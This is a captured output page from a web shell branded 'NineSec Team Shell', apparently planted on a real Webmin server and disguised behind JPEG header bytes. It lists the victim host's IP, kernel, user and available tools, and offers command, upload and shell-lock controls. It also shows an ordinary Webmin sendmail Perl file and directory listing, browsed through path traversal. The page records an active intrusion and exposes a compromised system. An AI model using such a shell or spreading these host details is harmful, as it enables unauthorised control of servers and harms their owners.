�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/../bin/../lib/hdparm/../../usr/share/webmin/sendmail/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../bin/../lib/hdparm/../../usr/share/webmin/sendmail/useradmin_update.pl
do 'sendmail-lib.pl';
do 'aliases-lib.pl';

%mail_sync = map { $_, 1 } split(/,/, $config{'mail_sync'});

# useradmin_create_user(&details)
sub useradmin_create_user
{
local $dir = $config{'mail_dir'};
if ($dir && -d $dir && $mail_sync{'create'}) {
	local $mf = "$dir/$_[0]->{'user'}";
	if (!-e $mf) {
		open(TOUCH, ">$mf");
		close(TOUCH);
		chown($_[0]->{'uid'}, $_[0]->{'gid'}, $mf);
		}
	}
}

# useradmin_delete_user(&details)
# Delete this user's mail file and remove from any aliases
sub useradmin_delete_user
{
local $dir = $config{'mail_dir'};
if ($dir && -d $dir && $mail_sync{'delete'}) {
	unlink("$dir/$_[0]->{'user'}");
	unlink("$dir/.$_[0]->{'user'}.pop");
	}
local $conf = &get_sendmailcf();
local $afile = &aliases_file($conf);
local @aliases = &list_aliases($afile);
foreach $a (@aliases) {
	return if ($a->{'name'} eq $_[0]->{'user'});
	}
foreach $a (@aliases) {
	local @nv = grep { $_ ne $_[0]->{'user'} } @{$a->{'values'}};
	if (scalar(@nv) != scalar(@{$a->{'values'}})) {
		$a->{'values'} = \@nv;
		&modify_alias($a, $a);
		}
	}
}

# useradmin_modify_user(&details)
sub useradmin_modify_user
{
local $dir = $config{'mail_dir'};
if ($dir && -d $dir && $mail_sync{'modify'}) {
	local $mfile = "$dir/$_[0]->{'olduser'}";
	local @st = stat($mfile);
	if ($st[4] != $_[0]->{'uid'}) {
		chown($_[0]->{'uid'}, $st[5], $mfile);
		}
	if ($_[0]->{'olduser'} ne $_[0]->{'user'} && -r $mfile) {
		&rename_logged($mfile, "$dir/$_[0]->{'user'}");
		}
	}
}

1;


NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 13 2023 9:43:47
root
0755
help
--
December 13 2023 9:43:47
root
0755
images
--
December 13 2023 9:43:47
root
0755
lang
--
December 13 2023 9:43:47
root
0755
CHANGELOG
4.2 KB
November 08 2023 4:49:09
root
0644
access-lib.pl
6.412 KB
November 08 2023 4:49:09
root
0755
acl_security.pl
9.695 KB
November 08 2023 4:49:09
root
0755
aliases-lib.pl
7.932 KB
November 08 2023 4:49:09
root
0755
autoreply.pl
12.189 KB
November 08 2023 4:49:49
root
0755
backup_config.pl
1.48 KB
November 08 2023 4:49:09
root
0755
boxes-lib.pl
81.391 KB
November 08 2023 4:49:09
root
0755
build.cgi
1.843 KB
November 08 2023 4:49:48
root
0755
cgi_args.pl
1.419 KB
November 08 2023 4:49:09
root
0755
config-AlmaLinux-7.0-ALL
0.669 KB
November 08 2023 4:49:09
root
0644
config-Amazon-Linux-2-ALL
0.669 KB
November 08 2023 4:49:09
root
0644
config-CentOS-Linux-7.0-ALL
0.669 KB
November 08 2023 4:49:09
root
0644
config-CentOS-Stream-Linux-8.0-ALL
0.669 KB
November 08 2023 4:49:09
root
0644
config-CloudLinux-8.0-ALL
0.669 KB
November 08 2023 4:49:09
root
0644
config-Oracle-Linux-8.0-ALL
0.669 KB
November 08 2023 4:49:09
root
0644
config-Redhat-Enterprise-Linux-7.0-ALL
0.669 KB
November 08 2023 4:49:09
root
0644
config-Rocky-Linux-7.0-ALL
0.669 KB
November 08 2023 4:49:09
root
0644
config-Scientific-Linux-7.0-ALL
0.669 KB
November 08 2023 4:49:09
root
0644
config-aix
0.56 KB
November 08 2023 4:49:09
root
0644
config-cobalt-linux
0.653 KB
November 08 2023 4:49:09
root
0644
config-coherent-linux
0.646 KB
November 08 2023 4:49:09
root
0644
config-corel-linux
0.516 KB
November 08 2023 4:49:09
root
0644
config-debian-linux
0.593 KB
November 08 2023 4:49:09
root
0644
config-debian-linux-2.1-2.2
0.598 KB
November 08 2023 4:49:09
root
0644
config-debian-linux-3.0-ALL
0.602 KB
November 08 2023 4:49:09
root
0644
config-freebsd
0.639 KB
November 08 2023 4:49:09
root
0644
config-freebsd-4.0-ALL
0.644 KB
November 08 2023 4:49:09
root
0644
config-generic-linux
0.656 KB
November 08 2023 4:49:09
root
0644
config-gentoo-linux
0.681 KB
November 08 2023 4:49:09
root
0644
config-hpux
0.513 KB
November 08 2023 4:49:09
root
0644
config-irix
0.652 KB
November 08 2023 4:49:09
root
0644
config-macos
0.642 KB
November 08 2023 4:49:09
root
0644
config-macos-1.3-ALL
0.646 KB
November 08 2023 4:49:09
root
0644
config-mandrake-linux
0.662 KB
November 08 2023 4:49:09
root
0644
config-mandrake-linux-8.2
0.646 KB
November 08 2023 4:49:09
root
0644
config-mandrake-linux-9.0-ALL
0.662 KB
November 08 2023 4:49:09
root
0644
config-msc-linux
0.563 KB
November 08 2023 4:49:09
root
0644
config-netbsd
0.624 KB
November 08 2023 4:49:09
root
0644
config-open-linux
0.655 KB
November 08 2023 4:49:09
root
0644
config-open-linux-2.5
0.66 KB
November 08 2023 4:49:09
root
0644
config-open-linux-3.1e
0.66 KB
November 08 2023 4:49:09
root
0644
config-openSUSE-Linux-15.0-ALL
0.621 KB
November 08 2023 4:49:09
root
0644
config-openbsd
0.625 KB
November 08 2023 4:49:09
root
0644
config-openserver
0.559 KB
November 08 2023 4:49:09
root
0644
config-osf1
0.525 KB
November 08 2023 4:49:09
root
0644
config-redhat-linux
0.639 KB
November 08 2023 4:49:09
root
0644
config-redhat-linux-10.0-23.0
0.669 KB
November 08 2023 4:49:09
root
0644
config-redhat-linux-24.0-ALL
0.729 KB
November 08 2023 4:49:09
root
0644
config-redhat-linux-7.1-7.3
0.641 KB
November 08 2023 4:49:09
root
0644
config-redhat-linux-7.4-9.0
0.646 KB
November 08 2023 4:49:09
root
0644
config-slackware-linux
0.511 KB
November 08 2023 4:49:09
root
0644
config-slackware-linux-8.0
0.656 KB
November 08 2023 4:49:09
root
0644
config-slackware-linux-8.1-ALL
0.683 KB
November 08 2023 4:49:09
root
0644
config-sol-linux
0.663 KB
November 08 2023 4:49:09
root
0644
config-solaris
0.626 KB
November 08 2023 4:49:09
root
0644
config-solaris-10-ALL
0.705 KB
November 08 2023 4:49:09
root
0644
config-solaris-7
0.713 KB
November 08 2023 4:49:09
root
0644
config-solaris-8-9
0.712 KB
November 08 2023 4:49:09
root
0644
config-suse-linux
0.578 KB
November 08 2023 4:49:09
root
0644
config-suse-linux-8.2-ALL
0.625 KB
November 08 2023 4:49:09
root
0644
config-turbo-linux
0.639 KB
November 08 2023 4:49:09
root
0644
config-united-linux
0.578 KB
November 08 2023 4:49:09
root
0644
config-unixware
0.553 KB
November 08 2023 4:49:09
root
0644
config.info
2.4 KB
November 08 2023 4:49:09
root
0644
config.info.ca
2.775 KB
November 08 2023 4:49:09
root
0644
config.info.cs
2.601 KB
November 08 2023 4:49:09
root
0644
config.info.de
2.791 KB
November 08 2023 4:49:09
root
0644
config.info.es
1.737 KB
November 08 2023 4:49:09
root
0644
config.info.fr
2.417 KB
November 08 2023 4:49:09
root
0644
config.info.hu
0 KB
November 08 2023 4:49:09
root
0644
config.info.nl
2.716 KB
November 08 2023 4:49:09
root
0644
config.info.no
2.52 KB
November 08 2023 4:49:09
root
0644
config.info.pl
1.125 KB
November 08 2023 4:49:09
root
0644
config.info.pt_BR
2.846 KB
November 08 2023 4:49:09
root
0644
config.info.ru
2.448 KB
November 08 2023 4:49:09
root
0644
config.info.sv
1.056 KB
November 08 2023 4:49:09
root
0644
config.info.tr
1.095 KB
November 08 2023 4:49:09
root
0644
config.info.uk
2.476 KB
November 08 2023 4:49:09
root
0644
config.info.zh
0.947 KB
November 08 2023 4:49:09
root
0644
config.info.zh_TW
1.041 KB
November 08 2023 4:49:09
root
0644
create_file.cgi
1.407 KB
November 08 2023 4:49:48
root
0755
defaultacl
0.279 KB
November 08 2023 4:49:09
root
0644
defines
3.766 KB
November 08 2023 4:49:09
root
0644
del_mailq.cgi
1.306 KB
November 08 2023 4:49:48
root
0755
del_mailqs.cgi
2.82 KB
November 08 2023 4:49:48
root
0755
delete_access.cgi
0.764 KB
November 08 2023 4:49:48
root
0755
delete_aliases.cgi
0.781 KB
November 08 2023 4:49:48
root
0755
delete_domains.cgi
0.693 KB
November 08 2023 4:49:48
root
0755
delete_generics.cgi
0.771 KB
November 08 2023 4:49:48
root
0755
delete_mailers.cgi
0.696 KB
November 08 2023 4:49:48
root
0755
delete_virtusers.cgi
0.78 KB
November 08 2023 4:49:48
root
0755
domain-lib.pl
4.248 KB
November 08 2023 4:49:09
root
0755
dontblames
3.336 KB
November 08 2023 4:49:09
root
0644
edit_access.cgi
0.493 KB
November 08 2023 4:49:48
root
0755
edit_afile.cgi
1.075 KB
November 08 2023 4:49:48
root
0755
edit_alias.cgi
0.459 KB
November 08 2023 4:49:48
root
0755
edit_domain.cgi
0.423 KB
November 08 2023 4:49:48
root
0755
edit_feature.cgi
2.978 KB
November 08 2023 4:49:48
root
0755
edit_ffile.cgi
2.049 KB
November 08 2023 4:49:48
root
0755
edit_file.cgi
2.256 KB
November 08 2023 4:49:48
root
0755
edit_generic.cgi
0.449 KB
November 08 2023 4:49:48
root
0755
edit_mailer.cgi
0.425 KB
November 08 2023 4:49:48
root
0755
edit_rfile.cgi
3.052 KB
November 08 2023 4:49:48
root
0755
edit_virtuser.cgi
0.462 KB
November 08 2023 4:49:48
root
0755
features-lib.pl
4.245 KB
November 08 2023 4:49:09
root
0755
feedback_files.pl
0.388 KB
November 08 2023 4:49:09
root
0755
filter.pl
1.988 KB
November 08 2023 4:49:49
root
0755
flushq.cgi
0.697 KB
November 08 2023 4:49:48
root
0755
generics-lib.pl
4.517 KB
November 08 2023 4:49:09
root
0755
index.cgi
4.81 KB
November 08 2023 4:49:48
root
0755
install_check.pl
0.441 KB
November 08 2023 4:49:09
root
0755
list_access.cgi
3.037 KB
November 08 2023 4:49:48
root
0755
list_aliases.cgi
3.478 KB
November 08 2023 4:49:48
root
0755
list_cgs.cgi
0.621 KB
November 08 2023 4:49:48
root
0755
list_cws.cgi
0.689 KB
November 08 2023 4:49:48
root
0755
list_domains.cgi
2.361 KB
November 08 2023 4:49:48
root
0755
list_features.cgi
2.973 KB
November 08 2023 4:49:48
root
0755
list_generics.cgi
3.834 KB
November 08 2023 4:49:48
root
0755
list_mailers.cgi
2.656 KB
November 08 2023 4:49:48
root
0755
list_mailq.cgi
3.536 KB
November 08 2023 4:49:48
root
0755
list_masq.cgi
1.15 KB
November 08 2023 4:49:48
root
0755
list_opts.cgi
4.909 KB
November 08 2023 4:49:48
root
0755
list_ports.cgi
2.195 KB
November 08 2023 4:49:48
root
0755
list_relay.cgi
0.916 KB
November 08 2023 4:49:48
root
0755
list_trusts.cgi
0.631 KB
November 08 2023 4:49:48
root
0755
list_us
0.001 KB
November 08 2023 4:49:09
root
0644
list_virtusers.cgi
3.749 KB
November 08 2023 4:49:48
root
0755
log_parser.pl
1.729 KB
November 08 2023 4:49:09
root
0755
mailers-lib.pl
5.317 KB
November 08 2023 4:49:09
root
0755
mailq_search.cgi
0.973 KB
November 08 2023 4:49:48
root
0755
manual_features.cgi
0.389 KB
November 08 2023 4:49:48
root
0755
module.info
0.631 KB
November 08 2023 4:49:10
root
0644
module.info.af
0 KB
November 08 2023 4:49:09
root
0644
module.info.af.auto
0.126 KB
November 08 2023 4:49:09
root
0644
module.info.ar
0 KB
November 08 2023 4:49:09
root
0644
module.info.ar.auto
0.212 KB
November 08 2023 4:49:09
root
0644
module.info.be
0 KB
November 08 2023 4:49:09
root
0644
module.info.be.auto
0.213 KB
November 08 2023 4:49:09
root
0644
module.info.bg
0 KB
November 08 2023 4:49:09
root
0644
module.info.bg.auto
0.225 KB
November 08 2023 4:49:09
root
0644
module.info.ca
0.141 KB
November 08 2023 4:49:09
root
0644
module.info.ca.auto
0.023 KB
November 08 2023 4:49:09
root
0644
module.info.cs
0.029 KB
November 08 2023 4:49:09
root
0644
module.info.cs.auto
0.119 KB
November 08 2023 4:49:09
root
0644
module.info.da
0 KB
November 08 2023 4:49:09
root
0644
module.info.da.auto
0.134 KB
November 08 2023 4:49:09
root
0644
module.info.de
0.127 KB
November 08 2023 4:49:09
root
0644
module.info.de.auto
0.017 KB
November 08 2023 4:49:09
root
0644
module.info.el
0 KB
November 08 2023 4:49:09
root
0644
module.info.el.auto
0.289 KB
November 08 2023 4:49:09
root
0644
module.info.es
0.034 KB
November 08 2023 4:49:09
root
0644
module.info.es.auto
0.131 KB
November 08 2023 4:49:09
root
0644
module.info.eu
0 KB
November 08 2023 4:49:09
root
0644
module.info.eu.auto
0.146 KB
November 08 2023 4:49:09
root
0644
module.info.fa
0 KB
November 08 2023 4:49:09
root
0644
module.info.fa.auto
0.224 KB
November 08 2023 4:49:09
root
0644
module.info.fi
0 KB
November 08 2023 4:49:09
root
0644
module.info.fi.auto
0.16 KB
November 08 2023 4:49:09
root
0644
module.info.fr
0.033 KB
November 08 2023 4:49:09
root
0644
module.info.fr.auto
0.13 KB
November 08 2023 4:49:09
root
0644
module.info.he
0 KB
November 08 2023 4:49:09
root
0644
module.info.he.auto
0.169 KB
November 08 2023 4:49:09
root
0644
module.info.hr
0 KB
November 08 2023 4:49:09
root
0644
module.info.hr.auto
0.157 KB
November 08 2023 4:49:09
root
0644
module.info.hu
0.036 KB
November 08 2023 4:49:09
root
0644
module.info.hu.auto
0.126 KB
November 08 2023 4:49:09
root
0644
module.info.it
0 KB
November 08 2023 4:49:09
root
0644
module.info.it.auto
0.157 KB
November 08 2023 4:49:09
root
0644
module.info.ja
0.026 KB
November 08 2023 4:49:09
root
0644
module.info.ja.auto
0.14 KB
November 08 2023 4:49:09
root
0644
module.info.ko
0.023 KB
November 08 2023 4:49:09
root
0644
module.info.ko.auto
0.138 KB
November 08 2023 4:49:09
root
0644
module.info.lt
0 KB
November 08 2023 4:49:09
root
0644
module.info.lt.auto
0.169 KB
November 08 2023 4:49:09
root
0644
module.info.lv
0 KB
November 08 2023 4:49:09
root
0644
module.info.lv.auto
0.165 KB
November 08 2023 4:49:09
root
0644
module.info.ms
0.124 KB
November 08 2023 4:49:09
root
0644
module.info.ms.auto
0.021 KB
November 08 2023 4:49:09
root
0644
module.info.mt
0 KB
November 08 2023 4:49:09
root
0644
module.info.mt.auto
0.139 KB
November 08 2023 4:49:09
root
0644
module.info.nl
0.029 KB
November 08 2023 4:49:09
root
0644
module.info.nl.auto
0.105 KB
November 08 2023 4:49:09
root
0644
module.info.no
0.03 KB
November 08 2023 4:49:09
root
0644
module.info.no.auto
0.11 KB
November 08 2023 4:49:09
root
0644
module.info.pl
0.03 KB
November 08 2023 4:49:09
root
0644
module.info.pl.auto
0.119 KB
November 08 2023 4:49:09
root
0644
module.info.pt
0.034 KB
November 08 2023 4:49:09
root
0644
module.info.pt.auto
0.119 KB
November 08 2023 4:49:09
root
0644
module.info.pt_BR
0.038 KB
November 08 2023 4:49:09
root
0644
module.info.pt_BR.auto
0.125 KB
November 08 2023 4:49:09
root
0644
module.info.ro
0 KB
November 08 2023 4:49:09
root
0644
module.info.ro.auto
0.141 KB
November 08 2023 4:49:09
root
0644
module.info.ru
0.041 KB
November 08 2023 4:49:09
root
0644
module.info.ru.auto
0.209 KB
November 08 2023 4:49:09
root
0644
module.info.sk
0 KB
November 08 2023 4:49:09
root
0644
module.info.sk.auto
0.143 KB
November 08 2023 4:49:09
root
0644
module.info.sl
0 KB
November 08 2023 4:49:09
root
0644
module.info.sl.auto
0.149 KB
November 08 2023 4:49:09
root
0644
module.info.sv
0.031 KB
November 08 2023 4:49:09
root
0644
module.info.sv.auto
0.102 KB
November 08 2023 4:49:09
root
0644
module.info.th
0 KB
November 08 2023 4:49:09
root
0644
module.info.th.auto
0.287 KB
November 08 2023 4:49:09
root
0644
module.info.tr
0.034 KB
November 08 2023 4:49:09
root
0644
module.info.tr.auto
0.128 KB
November 08 2023 4:49:09
root
0644
module.info.uk
0 KB
November 08 2023 4:49:09
root
0644
module.info.uk.auto
0.223 KB
November 08 2023 4:49:09
root
0644
module.info.ur
0 KB
November 08 2023 4:49:09
root
0644
module.info.ur.auto
0.228 KB
November 08 2023 4:49:09
root
0644
module.info.vi
0 KB
November 08 2023 4:49:09
root
0644
module.info.vi.auto
0.152 KB
November 08 2023 4:49:09
root
0644
module.info.zh
0.023 KB
November 08 2023 4:49:09
root
0644
module.info.zh.auto
0.091 KB
November 08 2023 4:49:09
root
0644
module.info.zh_TW
0.026 KB
November 08 2023 4:49:09
root
0644
module.info.zh_TW.auto
0.097 KB
November 08 2023 4:49:09
root
0644
move.cgi
0.546 KB
November 08 2023 4:49:48
root
0755
negativeacl
0.008 KB
November 08 2023 4:49:09
root
0644
prefs.info
0.144 KB
November 08 2023 4:49:09
root
0644
qdetach.cgi
1.055 KB
November 08 2023 4:49:48
root
0755
rbac-mapping
0.182 KB
November 08 2023 4:49:09
root
0644
save_access.cgi
1.979 KB
November 08 2023 4:49:48
root
0755
save_afile.cgi
0.566 KB
November 08 2023 4:49:48
root
0755
save_alias.cgi
4.116 KB
November 08 2023 4:49:48
root
0755
save_cgs.cgi
0.625 KB
November 08 2023 4:49:48
root
0755
save_cws.cgi
0.662 KB
November 08 2023 4:49:48
root
0755
save_domain.cgi
1.367 KB
November 08 2023 4:49:48
root
0755
save_feature.cgi
2.317 KB
November 08 2023 4:49:48
root
0755
save_ffile.cgi
0.84 KB
November 08 2023 4:49:48
root
0755
save_file.cgi
3.016 KB
November 08 2023 4:49:48
root
0755
save_generic.cgi
1.573 KB
November 08 2023 4:49:48
root
0755
save_mailer.cgi
1.834 KB
November 08 2023 4:49:48
root
0755
save_masq.cgi
1.201 KB
November 08 2023 4:49:48
root
0755
save_opts.cgi
3.293 KB
November 08 2023 4:49:48
root
0755
save_ports.cgi
2.469 KB
November 08 2023 4:49:48
root
0755
save_relay.cgi
0.693 KB
November 08 2023 4:49:48
root
0755
save_rfile.cgi
1.247 KB
November 08 2023 4:49:48
root
0755
save_trusts.cgi
0.575 KB
November 08 2023 4:49:48
root
0755
save_virtuser.cgi
2.811 KB
November 08 2023 4:49:48
root
0755
sendmail-lib.pl
17.765 KB
November 08 2023 4:49:09
root
0755
start.cgi
0.242 KB
November 08 2023 4:49:48
root
0755
stop.cgi
0.27 KB
November 08 2023 4:49:48
root
0755
useradmin_update.pl
1.433 KB
November 08 2023 4:49:09
root
0755
view_mailq.cgi
3.909 KB
November 08 2023 4:49:48
root
0755
virtusers-lib.pl
6.225 KB
November 08 2023 4:49:09
root
0755

NineSec Team - 2022